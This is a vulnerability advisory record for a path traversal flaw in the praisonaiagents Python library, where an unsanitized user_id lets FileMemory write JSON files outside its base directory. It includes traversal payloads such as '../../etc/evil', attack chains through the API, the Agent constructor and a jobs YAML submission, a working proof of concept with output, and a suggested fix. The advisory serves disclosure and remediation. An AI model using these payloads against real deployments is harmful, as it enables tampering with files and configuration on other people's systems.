{"id":"CVE-2026-55527","aliases":["GHSA-gxmw-5f7x-6g22","PYSEC-2026-3902"],"title":"praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable …","summary":"praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location","severity":"high","cvss":7.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents < 1.6.58"],"patched":["praisonaiagents 1.6.58"],"published":"2026-08-25","updated":"2026-09-10","sourceUpdated":"2026-09-10T12:25:43.409740160Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-gxmw-5f7x-6g22","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"url":"https://pypi.org/project/praisonaiagents"},{"url":"https://github.com/advisories/GHSA-gxmw-5f7x-6g22"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55527"}],"tags":["osv","pip","nvd","ghsa"],"epss":0.00321,"epssPercentile":0.25319,"cwe":["CWE-22","CWE-73"],"ingestedAt":"2026-08-25T15:27:53.223Z","slug":"CVE-2026-55527","body":"## Overview\n\n### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id      # LINE 145 — no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n    self,\n    user_id: str = \"default\",\n    base_path: Optional[str] = None,\n    ...\n):\n    ...\n    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION\n    self.episodic_path = self.user_path / \"episodic\"\n\n    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path\n    self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n    self.config_file      = self.user_path / \"config.json\"\n    self.short_term_file  = self.user_path / \"short_term.json\"\n    self.long_term_file   = self.user_path / \"long_term.json\"\n    self.entities_file    = self.user_path / \"entities.json\"\n    self.summaries_file   = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference — `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r'^[a-zA-Z0-9_]+$', table_name):\n    raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A — Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json  (on Linux)\n# Creates C:\\evil\\short_term.json    (on Windows)\n```\n\n*B — Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n    name=\"assistant\",\n    memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n    instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C — Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n  researcher:\n    memory:\n      provider: file\n      user_id: \"../../tmp/evil\"\n    role: \"Research assistant\"\n    goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents <= 1.6.52`\n\n**Step 1 — Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n    user_path.resolve().relative_to(base.resolve())\n    print(\"SAFE\")\nexcept ValueError:\n    print(\"!!PATH ESCAPES BASE!!\")\n    print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: <TMPDIR>/tmp/evil_escape\n```\n\n**Step 2 — Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n    f = TARGET / fname\n    if f.exists():\n        print(f\"WRITTEN: {f}\")\n        print(f\"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n  or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n   in a world-writable or user-writable path, JSON files can be written over package\n   files, causing import failures or (in edge cases) execution if a JSON parser is\n   swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n   to an app's configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n   (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n   by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n   filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n   users can create agents with custom memory configs, one user can read/overwrite\n   another user's memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n    ...\n    # ADDED: sanitize user_id\n    import re\n    if not re.match(r'^[a-zA-Z0-9_\\-\\.]+$', user_id):\n        raise ValueError(\n            f\"user_id '{user_id}' contains invalid characters. \"\n            f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n        )\n\n    self.user_path = self.base_path / user_id\n\n    # ADDED: verify the resolved path is within base (defense-in-depth)\n    resolved = self.user_path.resolve()\n    base_resolved = self.base_path.resolve()\n    try:\n        resolved.relative_to(base_resolved)\n    except ValueError:\n        raise ValueError(\n            f\"user_id '{user_id}' would write outside the base memory directory.\"\n        )\n```\n\nThe same pattern should be applied to `base_path` parameter.\n\n## Affected packages\n\n- `praisonaiagents < 1.6.58`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.6.58`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}